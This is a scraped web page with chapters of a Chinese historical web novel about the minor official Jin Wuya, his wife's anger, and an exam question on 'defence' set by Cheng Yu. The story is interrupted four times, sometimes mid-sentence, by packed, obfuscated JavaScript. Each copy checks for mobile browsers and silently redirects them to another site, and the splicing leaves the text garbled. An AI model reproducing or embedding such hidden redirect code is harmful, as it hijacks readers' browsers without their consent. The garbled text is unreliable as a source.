35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17076921|195140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不辛苦不辛苦,命苦。为了你们阿爹再苦也值得!”金无涯顺嘴说道。“你们阿娘呢?醒了没?” “醒了,阿娘在屋子里头,阿爹进去找她吧。” 金无涯便把自己买的一套妇人穿的成衣和鞋子还有一支木钗子带进去,“纯儿,你看我给你买了什么。” 金大娘这会儿也没有干净的衣裳穿,正裹着金无涯的外袍坐在床上, 她有个很好听的闺名,叫木纯,只儿时尚在闺中的时候,爹娘兄姐叫过她小名,嫁给金铁锤后,他也不害臊亲亲热热喊她纯儿。这些年,随着丈夫从未归家,旁人都喊她金大娘,她差点忘了自己的本名。 这一时听着人有些恍惚,更见他贴心地拿了这么多东西进来,心中觉得熨帖和感动,嘴里亲热怪道:“没成算,又大手大脚乱花了。” “为了纯儿,我什么都愿意做,买这点儿东西算什么,这么多年没有给你丁点半点,为夫心里愧疚。” 金二壮趴门口听了会儿,嘴角偷偷翘了翘,看来爹虽然不负责任了点,对阿娘还是衷心的,这个家散不了。 想起别人家娃有爹有娘的幸福日子,少年也不免憧憬快活了下。 罢了,就给渣爹一个机会吧。 过不到一会儿,随着金大娘一声怒吼,金无涯狼狈地跑出房门,他俊美白皙的脸上多了几道抓痕。身后追杀出来的是已经穿好新衣裳披头散发的金大娘,赤着脚,手里抓着金无涯买来的两只新鞋子,状若疯癫。 “老娘就不该信你个大混球!你怎么这么没谱儿的啊,我告诉你,要是我们娘儿几个没了活路,我就把你生吞活剥了炖汤吃!” “老娘这辈子最后悔的是从小就被你那张脸迷了魂儿!要不然也不会明知你这人做事从没谱儿,万事也只顾着自己个儿爽快,从不考虑旁人,还嫁给你!可怜我一个人养三个孩子到这么大,好不容易以为能靠上你了,结果给老娘整这出!可怜三个儿女,怎么就摊上你这么个爹!” 金二壮:“……” 虽然不知道发生了什么,但看阿娘气成这样,感觉不太妙。他转头看向小病秧子,这一路走来,他算是看清楚了,这小鬼精得跟什么一样,甭管什么事,看她反应准没错。 金藐淡定地坐在堂屋的饭桌前,吃着爹爹打包来的东西,她胃口不太好,吃东西总得细细咀嚼,金二壮看阿娘都提着菜刀追出去了,大哥也跟着追去了,这家伙也没半个反应,他急得抓耳挠腮,“这才刚进城,刚见到阿爹,阿娘就跟阿爹吵成这样了,你就不担心?” 小金藐问:“担心什么。”她嗷地张开嘴巴,吃进去一颗丸子,这丸子不知道什么做的,Q弹滑嫩口感香甜,好吃得很。 金二壮:“……当然是到底发生了什么才把阿娘气成那样!!!你到底有没有心啊!都这样了,还有心思吃呢!小病秧子我告诉你我可忍你很久了!” “我没要你忍我,阿娘能养我们这么大,她在做什么,她心里清楚,不用多管闲事。” “那阿爹呢?” “不熟。” 金二壮:“……” 少年气得抓了抓头发,干脆也追出去了,结果才刚踏出屋门,阿娘和大兄就回来了。 金大娘一路骂骂咧咧地走进来,可问她发生了什么她又不说。金二壮知道若是小病秧子肯问,她定会说的,可小病秧子似乎并不太关心发生了什么。 她只慢吞吞说道:“阿娘莫急,实在不行,把阿爹赶出家门吧。” 金大壮金二壮:“……” 8.可恨 万万没想到,媳妇刚来找第一天晚上,温柔乡没有的,儿女绕膝孺慕喊爹叙旧的温馨场景也是无,还被赶出了家门。 春天的夜晚过于凄冷,金无涯拢紧了敞开的领口,脚步虚浮地在街道上走着,这会儿天色已黑,除了少许几家饭馆开着,就只有全城唯一一家的酒楼,还有几家酒馆开着。 金无涯摸摸肚子有些饿了。方才给儿女们打包了吃的回去,自个儿还没吃呢,就被赶出来了。 酒楼他是去不起的,饭馆这个点儿了现炒的菜是死贵死贵的,那便只能去酒馆像往常那样打二两酒喝着暖和暖和,若是有点什么垫垫肚子就更好。只是卖酒的就只卖酒,最多卖点切肉,肉嘛金无涯吃不起。 这会儿金无涯想起了他那些好同僚们,其实他大部分同僚出身都不错,就算不是什么世家大族出身,也大都家底都殷实,富贵逼人。如他这样从乡下农门出身的没有,最少也是个寒门破落户,再不然祖上也是耕读世家。 金无涯数数自家,祖上是什么不知道,不知道打哪儿冒出来,反正他从出生起就只见过自己爹娘,没见过其他长辈。他们家姓金,村里的人都姓木,祖上也不是一伙儿的,他们家很可能是外来定居的。 他爹说祖上可能打铁的,有一门打铁手艺,幼时死活要他学会,传承下去。可惜他志不在此,只想读书出人头地,好在家里还有个弟弟金铁板。 铁板阿弟倒是乖也实在,学了这手艺,日子虽然不见多好,也成家立业踏踏实实过着,他爹对他恨铁不成钢,恨得直咬牙说没他这个儿子。 金无涯想着自家的事儿,也不知道老爷子怎么样了,还没来得及问自家老妻,就被赶出来了。有弟弟在,就算老妻带着孩子出来找他了,老爷子应当也无忧。 不是,想这些干啥啊。金无涯往前头捋了捋,方才他是在想他那些富贵逼人的好同僚们对吧,也是,这会儿,他肚子空空,就想来二两酒,有个什么吃的垫垫肚子,酒再喝下去,别提多美了。 这里离谁家最近呢,去蹭蹭?不然借点儿? 金无涯往前走了数十步,抬头一看,程府。 他抿了抿嘴,脚步一抬,身子一转,告辞。 有时怕什么来什么,现实就是这么不讲道理。就好像他游历在外时曾碰见过一个自杀狂人,也是个读书人,听说自视甚高,孤芳自赏,自以为才情可堪天,可现实总处处碰壁,找不到赏识他的伯乐,后来家业败光了连生计也很难维持下去,他从此就失了志,天天想着怎么结束自己的烂命。 谁知道总是遇见稀奇古怪的事情,想死也死不成,想活也没法好好活,后来他心一横不想死了,想方设法怎么好好活儿,终于给他等来好时机,有一位世家公子途径他们这地儿,他准备去拜访这位公子毛遂自荐,结果才刚出门,就被一头乱窜的马儿一脚踩死了。 恰在此时,只听见吱嘎声儿,程府大门开了。这开门声听在金无涯耳朵里像是放大了无数倍,就好像从天上传来的,听得他头皮发麻,一股血气往脑门上窜。 他连头也没回,脚步一抬,就预备跑远了。 此时不跑更待何时? “站住!金铁锤,就这么怕见某?” 金无涯假装没听见,听见了也不是在叫他,他早改名了,他叫金无涯!感谢这个乱七八糟的世道,正牌官府塌了,主公建立的这个新阵地新衙门,他想怎么改名就怎么改,反正户口落这里了。 身后浑厚的声音再度加重加大,“金、铁、锤!你再不停下,明儿就收拾包袱滚蛋。” 这句话可谓是击中了金无涯的要害,你可以羞辱他,可以看不起他,可以各种办法折腾他,但唯独不能触碰他赖以生存的这份金饭碗! 金无涯秒转身,看着程昱。 程昱背着手站在自家大门口,身边跟着几个随从,那些随从面无表情,夜色黑瞅不见他们比平常更红的脸。 “过来。” “再过来,走近点。”金无涯一步一步挪过去,直到站在了程府大门台阶下,才停下。 他看着地面上,两手放在身侧两旁,上身微弓,“程公有何事吩咐?在下听着。” 程昱挥了挥袖子,不知为何,这个人这个姿势看着乖顺得很,没有半点不敬之处,可他却一见他这样子就气不打一处来。 “听说你今儿下午在小厅里,干了件大事儿?” 金无涯立马回说:“哪能呢,我这么废,咋能干大事,程公您肯定误会了。” 程昱:“拿我名号,编造谎言,以考核为名目,骗取同僚财物?” “不不不不不不,您误会了!天大的误会!程公!我怎么能做这种事,我说的都是实话啊……就是,考核题目确实撒了点点善意的谎言。您想啊,有思考必有所得,圣人都说不能放弃思考,眼下我们主公霸业未成,我们作为他忠实的部属怎么能放弃思考呢?所以我出考题也是想要增加他们的思考对吧。您的考核题目加上我这个题目,这不是双倍思考了?也许哪天就派上用场了。” 程昱:“这么说,你还立功了?” “立功不敢,在下只是略尽绵薄之力而已,谁让在下只有一颗忠诚的心……” “闭嘴,金铁锤再胡咧咧,我现在就让人把你押入大牢!” 金无涯跪了下来,程昱以为他是害怕了想认错,冷哼一声。金无涯再度抬头,眼泪弥漫上眼眶,看着程昱。“程公,您也知道我妻儿来投奔我了,可怜我身无长物,平常奉银所得也只够自己吃住,哪能攒下什么?看着我的妻儿老小一身破烂的样子,肚子也饿得咕咕叫,我那最小的孩子才四岁,她瘦得比人家三岁小孩个头还小,我这个当爹的怎么能不心酸?我就只好找同僚们借点儿了。” 程昱盯着金无涯那双眼睛看,不错眼地看,这厮也不像演的,他说的也确实是实话,这厮出身贫寒,眼下妻小投奔,正是紧张短缺的时候。 金无涯叹了声,继续说道:“我愁得吃不下饭睡不着觉,这不,大晚上的还在街上晃悠,想要借酒浇愁,可我不行啊,我不能把钱浪费在这上面,我得把……” “行了。阿大,给他一石粮食。” “是,老爷。”随从阿大转身进去,准备给金无涯取粮食。 金无涯没想到峰回路转还有这好处,感激涕零地抱住了程昱的大腿,“大人!难怪我晚上听着您叫我的声音就仿佛听见了从天上传来的仙人的声音,震耳欲聋!我回头看见您的身影,就好像看到了天上仙人高大恢弘的身影,不敢直视!原来,您就是我的天神,是我的大救星!冥冥中定是老天爷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17084076|195140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 指引我走到您的府前……” 程昱:“……滚吧。” 阿大的办事效率很高,很快就把粮食取来的,一石粮食(约莫三十公斤)他粗壮的胳膊单手就能提着,啪的一声放在程昱的面前,溅起了无数灰尘。 “拿走。” 金无涯低头看看那一大袋粮食,再看看阿大粗壮结实比一般习武人更壮了一圈的身板子,再看自己瘦弱的胳膊腿儿。 他苦了脸,“程……” 程昱:“自己拿走。” 程昱方才说给这厮粮食的时候,说完就后悔了,他本来是准备收拾这厮的,怎么就平白无故倒给粮食?可这会儿瞧见这货面对这一石粮食愁眉苦展,无助可怜的样子,他倒是觉得痛快了,甚至起了一丝兴致,饶有闲情地看起好戏来。 金无涯等了会儿,见程昱果真不打算派人帮他把粮食抬到家中,只好蹲下来试着抱了抱粮袋。结果使出了吃奶的劲儿,也仅仅只是稍稍抬起了一点点儿,照这样看,别说抱回家了,就是单从地上抱起来走两步都难。 他瞪着这袋粮食,就像是在看仇人,最后只好两只手拖着两袋走,这办法果然是最好的办法了。 程昱心善,不,他不是心善,他是见不得糟蹋粮食,吩咐阿大回去给他拿了两个厚实的袋子,多套了两层上去。金无涯就这么一路艰辛地拖着粮食往回走。他的命怎么那么苦啊,二两酒还没吃到呢,肚子饿得咕咕叫,浑身发冷乏力,还要拖着一袋这么重的粮食归家。 金无涯明悟了,程公是故意整他的。 换成平常,他可能为了自己的舒服,说不得半路就把这袋粮食落下了,可如今想起老妻儿女来投奔自己,正是缺花用的时候,这袋粮食也能够他们吃小一阵子了。 于是再难再苦再累他也咬着牙往回拖。 夜色下的鄄城街道,出现这样一幕,瘦弱俊美的男人,使着吃奶的劲儿一步一挪地费劲巴拉地拖着一袋粮食走着。 有几个游手好闲的宵小混混看得流哈喇子,很想把粮食抢走,不过走近一看,这家伙好像是白天里在城里出了名的那几个乞丐的爹,听说这家伙是在曹公手底下做事的,那是公家人是官人,不好惹的,也就作罢。 宵小正想转身走,金无涯瞧见了,喊人过来,“你们谁去攒竹街狗儿巷一百零八号,去把我儿子大壮喊来,我给你一碗米。” 几个宵小眼珠子一转,都想接这活儿,可一见这么多人,一碗米哪够分啊,就自己打了起来,金无涯叉着腰在原地喘气,看他们打完了决出胜负,最后赢的那人跑去喊人了。 金大壮蒙着脸过来,在几个小混混羡慕的注视下,被阿爹指使着把一袋似乎是粮食的东西抗在了肩膀上回家。 “阿爹,你去哪儿了?晚饭也没吃,阿娘虽说生你气,我却看得出来,也担心你呢。” “阿爹这袋子里是什么?摸着好像是粮食?你哪来这么多粮食?” “阿爹怕你们饿着啊。”金无涯喘着气说,他觉得自己一口气要厥过去了,可恨的程老贼! 金大壮心里感动,他觉得阿爹不像是阿娘嘴里那么不负责任的人,阿爹这些年或许也有苦衷,你看他即使与阿娘吵架,被迫大晚上在外头吹冷风,也不忘想着怎么往家里弄点粮食,好养活他们! 9.考核 金无涯回来的时候,正想跟老妻炫耀炫耀他带回了一石粮食,谁知道老妻已经抱着闺女在他的房间里睡下了,房门也落锁了,无奈他只好和两个儿子在书房里打地铺睡。 这天儿夜里最是冷,春夜湿气重半夜凉飕飕的,父子三人裹着一条被子,紧紧抱成一团。 俩儿子都是青少年,身子骨好着呢,金无涯就不行了,总觉得着凉了,一早上醒来就狂打喷嚏。 他开门一看,一家子都已经起床,老妻在堂前的高桌上不知道摆弄着啥,两个儿子在喝粥,小闺女边喝粥边打瞌睡。 “小阿藐没睡好?阿爹……”说着,他停了下来。 他老妻正在招呼孩子过去,只见高堂前的桌上,放了一块牌位,牌位前放着一盏香炉,老妻点了几根香,“过来,都给你们阿爹上香。” 他的木纯儿自己拿着一根香,往牌位上拜了拜说:“孩儿爹,今天是我们到兖州鄄城的第一天,所幸是找着你了,也有了落脚地,咱老家是回不去了,出来时把阿爹分给我们的田地房屋全卖了,才凑了点盘缠,买了辆驴车上路。” “没办法啊,我也不想卖家业的,可连着几年干旱地里粮食欠收不说,一年前不知道打哪儿来了一伙乱军,就驻扎在咱们县城,平常烧杀抢掠无恶不作,后面还强行征兵,家里甭管有几个男娃,只要上了十岁,都得去军营。” “你想咱老金家就大壮二壮俩男娃,都给征走了以后怎么办?再说你闺女又那么小,身子不好需要照顾,所以老爷子虽不舍得孩子却也赞成我们离开……你呢,在天之灵,就好好保佑我们,在这鄄城好生住下,日后孩子们不求有个好前程,只盼平平安安,有吃有住,生活无忧。” 金无涯茫然地走了过去,茫然地开口:“纯儿……我在这儿呢?我没死啊,我在这儿呢!” 金大娘没搭理他,招呼孩子们给爹也上上香。 “都麻溜点儿,让你们爹保佑你们以后都平平安安的。” 金大壮从阿娘手里被强行塞进来一根香,他满脸的茫然疑惑为难。金二壮就爽快多了,捂着嘴巴嘻嘻贼笑,有模有样给牌位拜了拜,上了香,嘴里念念有词:“阿爹啊,您在天有灵,庇佑我早点发大财,给您娶一门漂亮温柔儿媳妇!” 金大壮偷偷拍了拍阿弟的脑袋,这个不孝弟弟! 金无涯感觉自己被所有人无视了,他不禁大喊:“纯儿!我在这儿呢!我才是孩儿爹!我才没死!我在这儿呢!在这儿呢!你看看我啊!你倒是看看我!” 金大娘只管上了香,走过去把小闺女也抱了过来,“来给你阿爹也拜拜。” 金藐:“……”好叭。 金无涯感觉自己还没睡醒呢,他掐了掐自己的脸,一定是起床的方式不对。他回屋又从头起了一遍,再出来,发现还是那场景。牌位还在,牌位上写着“亡夫金铁锤”,仔细看那小字,生于xx年,猝于的年份却是四年前。 无论金铁锤怎么喊话,怎么搭话,怎么彰显存在感,这个家里都没有人搭理他。金大壮是不敢,金二壮是故意,金大娘就不知道了,踏踏实实地忽视了他,仿佛他是一团空气,小闺女从头到尾打着瞌睡,小脸蛋给苍白的,定是刚来了这里水土不服昨晚上没睡好,听说小闺女早产身子素来病弱,这一路来又缺衣少食风餐露宿,定是吃了不少苦,金无涯心里心疼着呢,哪好打搅她。 正在抓狂之际,邻居来了。 邻居的张大娘和小孙子带着几张早上刚烤好的饼子过来。 “金家的,我昨儿个就听见动静了,你们热热闹闹地来,满城都知道了,我这做邻居的不能当不知道,不过昨天太晚想着你们也忙着便不好意思来打搅,今儿一早,我多烤了几张饼子,你们吃着,这可是正宗的兖州大烧饼,外酥内软,一口咬下去香着呢。” 金大娘瞬间露出笑意,接过饼子放在桌上,手拉着张大娘坐下,“你们吃了没?我早上熬好的粥,热乎呢,正好配这饼子。” 张大娘笑着忙说好,心说金家这个昨儿只是匆忙间从墙头看了一眼,似乎晕过去了,是她儿子抱回来的,昨天那磕碜的,一家子没一个体面的,今天一瞧,倒是全家都生得挺齐整挺俊俏的。 除了金大娘…… 不过仔细看看,金家这个虽说表面看着是沧桑了些,皮肤不太好,黑了皱了,脸型也不够秀气,那双眼睛,那眼神,仔细瞧,却很出彩很有神韵。 都说五官之中目为神,皮肤是环境养出来的,常年劳作风吹日晒自然养不出好肤色,相貌脸型五官是爹娘给的,这些后天再如何倒腾也没法使它变形,但唯有这眼神,是最真实,最能反映一个人精神气的。 她觉得,这金家的,应当不错。 这么想着,正要寒暄说几句好听的话,却忽而瞧见他们家高堂桌上摆着的牌位,插着几根香。金无涯频频欲言又止满脸为难地望来望去,她总觉得有异,想多看几眼,却被金无涯挡住了。她更觉得奇怪了,好奇走过去。 张大娘的老爹是私塾先生,早年她也习得几个字,下意识念出来:“亡夫金铁锤……” 金无涯赶紧把牌位啪的一声盖下来。 张大娘抽搐着嘴角,瞧瞧这个,再瞅瞅那个,找个借口带着孙儿离开了。 金无涯生无可恋去府衙上班去了,早饭只喝了半碗粥。 要不是他身子不好,不吃早饭会肚子痛,他兴许半碗粥都喝不下去。 这日子,跟他想的不一样啊。 “子归啊,一大早的发什么愣啊,想啥呢?” 金无涯声音有些发飘,“我在想,人活着干啥呢。” “活着干活啊!活着干啥!还不赶紧做事!”从事走过来,拍了下桌子,“你们这帮人,干啥啥不成,吃饭第一名,才一大早上呢,就想着浑水摸鱼,别以为主公不在就没事儿做,都给我警醒些!” 等从事走过去,那同僚在金无涯耳边说:“别怕,姓白的儿子听说昨天因为在城门口造谣闹事,被士兵抓进大牢了,昨晚连夜捞人呢还没捞出来,说不定今天得去找程公求情。” “这位可是毛公的人,你想想毛阶大人和程昱大人势同水火的样子,程大人能替他的狗腿子办事?可惜毛大人随主公出征了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17087823|195140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这位要是不回来,他儿子就得一直待牢里,你说那士兵是不是知道点啥,故意的啊。” “要不然就是程公授意的。” 金无涯:“我们虽然是干这行的,但别整天阴谋论了,程公何许人也,哪会记得一个小小从事的儿子,还特意吩咐人针对他。” “那你说他儿子到底昨天城门口闹啥了,造啥谣?” “说起昨天……我昨晚下班回家才听我老娘夫人说起你,原来昨天是你妻儿来鄄城找你了!这是大好事啊,要不要请客庆祝一家团圆!这两年见你一直一人,还以为你是鳏夫寡汉呢!可惜了这张脸。” 白从事前脚背着手愁眉苦脸满身怨气地从厅里走出去,后脚里面就淅淅索索地闹开了。 又一人冷嘲热讽开口:“我听说他那老妻孩子都挺上不得台面的,是乞丐来着,哈哈哈就这样的老婆孩子他哪好意思拿出手?” “怎么这么不凑巧,老天爷也不站你这啊,子归兄,你说后天马上到了,就算你知道考核题目是什么又如何,咱考核不单是考题,更重要的是平时的业绩!别说这个月,就是这一整年,你连半点贡献都没出,一个计策也没献上,程公怕是不会留你了。这当口,你要是被赶出去了,回头拿什么养家糊口,我知道你出身不好,不如到时候来我家做个长工,倒是能管你一碗饭。” 要是老妻孩子没来找他,等真的到了山穷水尽又被赶出去的地步,这家伙这么说,他说不定还真会感激他,可这会儿,金无涯冷着脸看着说他妻子孩子上不得台面的那位,“长舌妇都没你能唠,你知道白从事儿子为什么被抓进大牢吗?因为昨天在城门口他造谣闹事的对象正是我的妻子孩子!” 唰的,众人齐齐望向金无涯。 难道是程公特意为他撑腰张目? 金无涯低头看着今天的文书。不再开口说话,明天就考核了,程昱会手下留情吗?应当不会,且不说他得罪了他,就说工作上程昱从来大公无私,刚硬正直,不会为了任何一个人而违反他的原则。 四年前……四年前发生了什么?四年前是个啥日子?四年前……他漫无边际地思忖。 这会儿有个人进来,打断了小厅里的窃窃私语:“传程大人令:明日申时前,交上一篇文章,题目:“防”。” 小厅里议论开来,“为何程公一反往常提前一日下了考核题目?” “而且是少见的题,仅一个防字,这是什么意思,不限制从任何方面入手?这题有点难啊。” “应是说战争中作为被攻的一方要如何防守,战术、防务、军备、粮草、天时地利人和?” “可这题……在我们曹营很少见啊,主公做事风格常常是主动出击,通常是我们打别人,而不是别人打我们。如今吾等处于鄄城中心,又非战时,程公出这个题作甚?” 就在众人讨论的时候,金无涯被人围住了,好几个昨天被金无涯忽悠买了考题的人面色狰狞地围住了他,“金无涯!” 金无涯瑟瑟发抖地抱住了脑袋,缩在桌子底下。 他知道,程老贼绝对绝对是故意的! 10.论防 金无涯鼻青脸肿地下衙回家。 惨……太惨了!他还活着,他老妻就给他上了牌位,活人牌位啊,他的纯儿可真行!更惨的是,被同僚们狠狠地结结实实揍了一顿,不但没被帮,还被那些看戏的混蛋们好好嘲笑了一番。 不知道是谁,开始叫起了他金铁锤,就今天挨完那顿揍起,全小厅的同僚们都不喊他金无涯大名了,也不喊他字了,就叫他本名金铁锤,还刻意喊得特别大声,拉长了尾音,生怕别人不知道在喊他。 金无涯……金铁锤觉得自己此生无望,倒不如跳入那桥下刚化冰的河里了了。 考题,“防”,所谓防到底是什么,是得从哪方面入手,他用今天挨揍的半残脑袋思索了一天,总觉得不简单。 越简单的题目,用意越深,越远非表面看起来那么简单,程昱那老贼定有什么不为人知的用意。 到底是什么呢? 平常金铁锤走回家都背着手,抬头挺胸,一副读书人衣衫飘飘君子翩翩的模样,不知道迷倒了多少大妈少妇,今天他刻意压低了脑袋,只想低低调调地回到家。 不过回到家也不好过啊,想起老妻,想起家里的他的牌位。 他他娘的是个大活人啊!说出去谁信啊,他的妻子在他面前光明正大给他立了个牌位,看那牌位也不是临时刻的,痕迹不新鲜,想来是一路从老家背来的,这么一想,更觉得难过了。 刚走进狗儿巷,一路上好几个人都找他打招呼:“金老爷……” “金大人,听说你夫人孩子来找你啦?” “金先生,你和夫人关系可还好?” “金老弟,你可曾背着夫人干过什么亏心事?” 金无涯一头迷雾,平常他一个单身大老爷们虽然差事看起来还算体面,可是他一穷二白的,又是独身,很少与周围邻居来往,怎么就今天个个都认识他了,个个都找他打招呼? 人缘一下好起来了? 等走到张大娘他们那院前,张大爷走出来拍拍他的肩,叹道:“我都听我那老娘们说了,你是不容易,但是老爷们,是老爷们就得疼媳妇,你想想你都干了啥,赶紧给你夫人道歉,这事儿就过去了。夫妻俩哪有隔夜仇,你别拉不下脸……” 金无涯恍然想起了早上那会儿,张大娘来过自家,瞧见了那牌位。他欲言又止,又说不出话来,这下破案了,邻居们的反常,好事不出门坏事传千里,他家八卦全巷子都知道了,他妻子来找他第一天不是亲亲热热地同他吃上一顿好的庆祝,而是青天白日地给他一个大活人立了牌位。 以后他可以想见街坊邻居会如何看待他了。 金无涯仰天长叹,老脸啊,没了。 张大爷也欲言又止,指着他的脸:“莫非你夫人还动了手?” “不是我夫人,您误会了!”他赶紧澄清! “金老弟,有什么委屈,老哥给你做主。” “……” 金无涯捂着脸逃回自家了。他的脸不是纯儿揍的啊!是被同僚揍的啊!!! 院子里飘着一阵饭香,金无涯表情舒缓了下来,心里涌上一阵幸福暖意,有多久了,回到住处不曾飘过饭香,没有烟火的气息,只有冷冰冰的屋子和被窝。 “纯儿……”他幸福地走过去。金大娘正在摆弄碗筷,头也不抬说:“去洗手。” 金无涯感觉更幸福了,看,纯儿都理他了! 金二壮看见他爹脸上的鼻青脸肿,“诶,阿爹你叫谁揍了?” 瞬时,所有人都抬头看他,金藐也看了一眼。 金无涯这是头一回在家中同一时间接受到这么多注目,但他有点不好意思,作为一家之主,鼻青脸肿地归家,好像是有点不威武了。 “没事儿,阿爹摔了一跤。” 金大娘走过来,强行抬起他的脸,瞪着眼睛看了看,叉着腰道:“是哪个混蛋揍的你。” “你咋不报官,你跟你上峰说啊,就你这身板子还跟人干架?” 金无涯感觉更不好意思了,别别扭扭地转了头,说:“是我自己不好,是我的错处,同僚们出出气也是正常。” “再说,我们那就是官府……” 在金大娘的追问下,金无涯只好道出是因为昨天为了借到钱给他们置办东西才不得已得罪了同僚们。 金大娘不知道说什么好了。“从小你就不老实。” “把上峰大人同僚都得罪了个遍儿,我看你也是不想活了。” “纯儿,孩子们都在呢,你别说我了。” 一家子吃完饭,金无涯才发现屋子他老妻都收拾好了,他原先住的那间大点儿的房间被收拾出来,给孩子们住,小阿淼还小身子弱,自己单独睡床上,兄弟两个暂时打地铺,说等木匠床打好了就有床睡了,而他和纯儿就搬到书房住,新床是现成的,城里有户人家退婚了,床也不要了,木匠就把床卖给了他们家。 原先屋子里乱放的东西,都有了归置,增加了柜子等等,看起来清爽很多。他感叹道:“我的纯儿就是能干,才一天就做了这么多事。” 金大娘拽着他耳朵往里走,屋子门关上才说:“孩子们在,我没跟他们说,你昨晚与我说,你得罪了上峰大人,今天去上班可有为难你,你工作上的事都是读书人的东西我是不懂,可我人情世故是懂的,该道歉得道歉,该讨好得讨好,难不成你真想让我们娘几个喝西北风去?” “几个孩子从小到大没享过福。老大看似有你照顾几年,他幼时那几年你手把手教他读书认字,可之后也就撒手不管了,后来老二出生,你只回来过几月,之后也没管过,我忙着地里家里的活儿,一个人恨不得分成两半人,老大要帮我带老二,还要帮我干活。” “好不容易老二大了,藐儿又出生了,这回更绝,你连回来都没回来过!老大跟着就帮我带妹妹,小藐儿不好带,她不如老二身子皮实,从小到大就病病殃殃的,轻易就生病,好几回从鬼门关里熬过来,都是老大寸步不离带着的。” “身子不好脾气就容易熬坏,小藐儿聪慧,娇气,怪癖多,多不好带你是不能想的,也只有她大兄能带着,可以说没有你这个父亲,她大兄就是她的养父!老大这孩子乖,品性正直憨实,从来也没抱怨过。这三个孩子都没享过福气,这一路过来,吃的苦摞起来得有一座山高了。” “所以,金铁锤,我不允许你再给他们苦受!” 金无涯渐渐沉默下来。 “四年前……四年前是什么日子?” “牌位上的年份……” “那一年,我挺着大肚子田里干活摔了一跤,那一天藐儿生了,早产,差点没活成。那一年,我便只当你死了一回,这几年你都未曾回来,在我心里,你就这样一点一点地死去了。” 夜色很黑,金无涯开了门,站在院子的树下。 明天提着礼物,跪在程昱老贼面前求他来得及吗? “防”到底是个什么鬼题目,要写出什么样的文章才能够打动程老贼,让他把他留下来! 荀彧大人怎么还不回来!叫程老 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091214|195140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贼一手遮天! 俊美瘦弱的男人一身白色宽大寝衣,肩膀上只批了件薄薄的外衫,在深夜中孤寂地仰头望天,不时轻轻长叹。 一道平静但奶声奶气的声音响起:“你在担心什么?” 金无涯转身低头一看,才发现他的小闺女不知何时也起夜,正站在他身后,想起小闺女身子差,他连忙把她抱起来,又想起自己身上寒露沾身,又赶紧放下,一阵手忙脚乱。 金藐制止了他:“我披着外套。” “好好……是阿爹关心则乱。” “你在担心什么?” “阿爹哪有担心什么,阿爹只是睡不着,小阿藐不担心,小阿藐快回屋睡觉吧,别着凉了。” 小小的幼童说道:“你有。” 金无涯看着闺女清澈的眼睛,那眼睛里没有好奇也没有关心,仿佛只是纯粹的问话。 他忽而也蹲了下来,看着小闺女,“小阿藐既不关心阿爹发生何事,为何要问阿爹?” “因为你让阿娘担心了,你让阿娘生气了,你让阿娘惶恐不知明日了。” 想起老妻说小闺女聪慧,不好搞,他总算有点明白了,金无涯干脆抱着小闺女回屋,坐在堂屋里,就着月光说话。 “阿爹是在担心工作。” “为何担心?” “咳^~^……你也知道,阿爹在曹公底下做事,曹公何等人也,在他手底下当差自然不容易,竞争大,难度高……” “说重点。” “明日就是一月一考核了,程公出了个题目为“防”,阿爹不知如何作答。你说程公是不是为难人,只出一个字,什么话也没落下,我等如何作答?” “阿爹有何想法?” “阿爹……暂未得头绪。” “答不好会如何?” 在闺女清澈平静的眼神下,金无涯挪了挪目光,吞吞吐吐道:“可能、也许……会被开除吧。” “就一份差事而已,阿爹一定会想办法的,阿爹这么多年在外面历练,也不是白混的,阿爹能耐着呢,阿爹会的可多了,此处不留爷自有留爷处,再说,阿爹还认识好多个有名望的人,就比如说……” “哦……”金藐说道,“抱我回屋睡觉。” 金无涯:“……”他老老实实抱闺女回屋睡,自己洗了把脸也回屋睡,算了有道是船到桥头自然直,就算真被程老贼开了,他还有后招呢!等荀公回来,他就去找荀爷告状! 金藐是真没想到,古代职场,还得考试呢,还玩考核呢,就是考题挺贴这时代背景的,然而题目挺有意思,不讲攻,只论防? 想想这个时间点……看来程昱也不是傻子,能在曹操人才济济的阵营下,独占一席之地绝非空有名号。 